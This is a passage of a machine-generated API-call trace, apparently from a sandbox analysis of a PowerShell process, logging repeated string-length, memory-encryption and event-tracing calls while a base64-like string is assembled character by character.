(param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\xa50d\x6278\x9cf6\xed6b\x9765\x230d\x1f9d\xf08f\xe47c\x8991\xe0bb\xcac6\xefcb\xf8d8\xc658\x5d50\x56c4\x2089\x832c\xef2e\x52c7\xb964\x2f7b\xd721\x8343\x382d\x6d0e\xb18b\xd1ec\x92f7\x7daf\x87f9") returned 0x30 [0126.587] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\xa50d\x6278\x9cf6\xed6b\x9765\x230d\x1f9d\xf08f\xe47c\x8991\xe0bb\xcac6\xefcb\xf8d8\xc658\x5d50\x56c4\x2089\x832c\xef2e\x52c7\xb964\x2f7b\xd721\x8343\x382d\x6d0e\xb18b\xd1ec\x92f7\x7daf\x87f9") returned 0x30 [0126.587] SystemFunction041 (in: Memory=0x8e30cec, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30cec) returned 0x0 [0126.587] SysStringLen (param_1="XXA8QV6HcEzTCmhkvp8I0Rbj/LBZbscNos7o6yr6O2E=噆ᤶ燜玃") returned 0x30 [0126.587] SystemFunction040 (in: Memory=0x8e30cec, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30cec) returned 0x0 [0126.587] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae650*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae650*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xba, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.587] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aea5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aea5c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xba, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.587] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb9, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb9, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.587] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae58c, nSize=0x100 | out: lpBuffer="㡐犯,") returned 0x0 [0126.587] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae964*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae964*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbb, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.587] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb9, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.587] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae954*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbb, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae954*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbb, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.588] SysStringLen (param_1="") returned 0x8 [0126.588] SysStringLen (param_1="Y") returned 0x8 [0126.588] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.588] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0126.588] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0126.588] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.588] SysStringLen (param_1="YW") returned 0x8 [0126.588] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.589] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0126.589] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0126.589] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.589] SysStringLen (param_1="YWM") returned 0x8 [0126.589] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.589] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0126.589] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0126.589] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.589] SysStringLen (param_1="YWM1") returned 0x8 [0126.589] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.589] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0126.589] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0126.589] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.589] SysStringLen (param_1="YWM1O") returned 0x8 [0126.589] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.589] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0126.589] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0126.589] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.590] SysStringLen (param_1="YWM1OT") returned 0x8 [0126.590] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.590] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0126.590] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0126.590] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.590] SysStringLen (param_1="YWM1OTE") returned 0x8 [0126.590] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.591] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0126.591] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0126.591] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.591] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0126.591] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.591] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0126.591] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0126.591] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0126.591] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0126.591] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.591] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0126.591] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.591] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0126.591] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0126.591] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.592] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0126.592] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.592] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0126.592] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0126.592] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.592] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0126.592] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.592] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0126.592] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0126.592] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.592] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0126.592] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.592] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0126.592] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0126.592] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.592] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0126.592] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.593] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0126.593] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0126.593] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.593] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0126.593] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.593] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0126.593] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0126.593] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.593] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0126.593] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.593] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0126.593] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0126.593] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.593] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0126.593] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.593] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0126.593] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0126.593] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0126.594] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0126.594] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.594] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0126.594] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.594] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0126.594] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0126.594] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.594] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0126.594] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.594] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0126.594] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0126.594] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.594] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0126.594] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.594] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0126.594] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0126.594] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.595] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0126.595] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.595] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0126.595] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0126.595] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.595] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0126.595] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.595] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0126.595] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0126.595] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.595] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0126.595] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.595] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0126.595] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0126.595] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.595] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0126.595] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.595] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0126.595] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0126.596] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.596] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0126.596] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.596] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0126.596] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0126.596] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0126.596] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0126.596] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.596] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0126.596] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.596] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0126.596] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0126.596] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.596] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0126.596] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.596] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0126.596] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0126.597] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.597] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0126.597] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.597] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0126.597] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0126.597] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.597] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0126.597] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.597] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0126.597] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0126.597] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.597] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0126.597] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.597] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0126.597] SysStringLen 